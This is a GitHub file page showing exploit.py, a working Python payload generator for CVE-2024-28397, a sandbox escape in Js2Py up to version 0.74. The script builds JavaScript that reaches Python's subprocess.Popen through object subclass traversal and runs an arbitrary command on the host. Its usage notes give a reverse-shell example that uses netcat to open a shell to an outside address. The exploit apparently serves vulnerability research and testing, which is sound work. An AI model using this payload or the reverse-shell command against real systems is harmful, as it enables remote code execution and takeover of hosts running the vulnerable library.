-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathexploit.py
More file actions
109 lines (92 loc) · 3.82 KB
/
exploit.py
File metadata and controls
109 lines (92 loc) · 3.82 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#!/usr/bin/env python3
"""
Exploit Title: Js2Py <= 0.74 - Sandbox Escape (RCE) Payload Generator
Date: 2026-02-03
Exploit Author: Ali Sünbül (xeloxa) <alisunbul@proton.me>
Author Page: https://github.com/xeloxa
Vendor Homepage: https://github.com/PiotrDabkowski/Js2Py
Software Link: https://pypi.org/project/Js2Py/
Version: <= 0.74
Tested on: macOS, Linux (Python 3.x)
CVE: CVE-2024-28397
Description:
This tool generates a malicious JavaScript payload to exploit CVE-2024-28397.
The vulnerability in `js2py` allows escaping the sandbox via `Object.getOwnPropertyNames`
to access the `subprocess.Popen` class and execute arbitrary commands on the host.
This script acts as a payload generator. You must inject the generated output
into the vulnerable input field of the target application.
Usage:
python3 exploit.py -c "id" > payload.js
python3 exploit.py -c "nc -e /bin/bash 10.10.10.10 4444"
"""
import argparse
import sys
def generate_payload(command: str) -> str:
"""
Generates the JavaScript payload to escape the sandbox and execute the command.
Args:
command (str): The system command to execute.
Returns:
str: The malicious JavaScript payload.
"""
# Escape double quotes to prevent syntax errors in the JS string
safe_command = command.replace('"', '\\"')
# The payload uses a recursive search to find subprocess.Popen starting from a leaked
# Python object wrapper.
payload = """
var output = "Initial";
try {
// 1. Obtain a PyObjectWrapper via Object.getOwnPropertyNames({})
// On Python 3, this returns a wrapped dict_keys object, exposing python internals.
var leaked_wrapper = Object.getOwnPropertyNames({});
// 2. Access the python 'object' class via __class__.__base__
var object_class = leaked_wrapper.__getattribute__("__class__").__base__;
// 3. Define a recursive function to find subprocess.Popen
function find_popen(cls) {
var subs = cls.__subclasses__();
for (var i = 0; i < subs.length; i++) {
var item = subs[i];
try {
if (item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item;
}
} catch (e) {
// Ignore access violations during traversal
}
// Recursively search, avoiding 'type' to prevent infinite recursion
if (item.__name__ != "type") {
try {
var result = find_popen(item);
if (result) return result;
} catch (e) {}
}
}
return null;
}
// 4. Find Popen
var Popen = find_popen(object_class);
if (Popen) {
// 5. Execute the command using Popen.communicate() to capture stdout/stderr
var res = Popen("COMMAND_PLACEHOLDER", -1, null, -1, -1, -1, null, null, true).communicate();
output = res;
} else {
output = "Error: Could not find subprocess.Popen";
}
} catch (e) {
output = "Error during exploit execution: " + e;
}
output
"""
return payload.replace("COMMAND_PLACEHOLDER", safe_command)
def main() -> None:
parser = argparse.ArgumentParser(
description="Payload Generator for CVE-2024-28397 (Js2Py Sandbox Escape)",
formatter_class=argparse.RawDescriptionHelpFormatter
)
parser.add_argument("-c", "--command", help="Command to execute on the target (default: id)", default="id")
args = parser.parse_args()
# Generate and print only the payload code
payload = generate_payload(args.command)
print(payload)
if __name__ == "__main__":
main()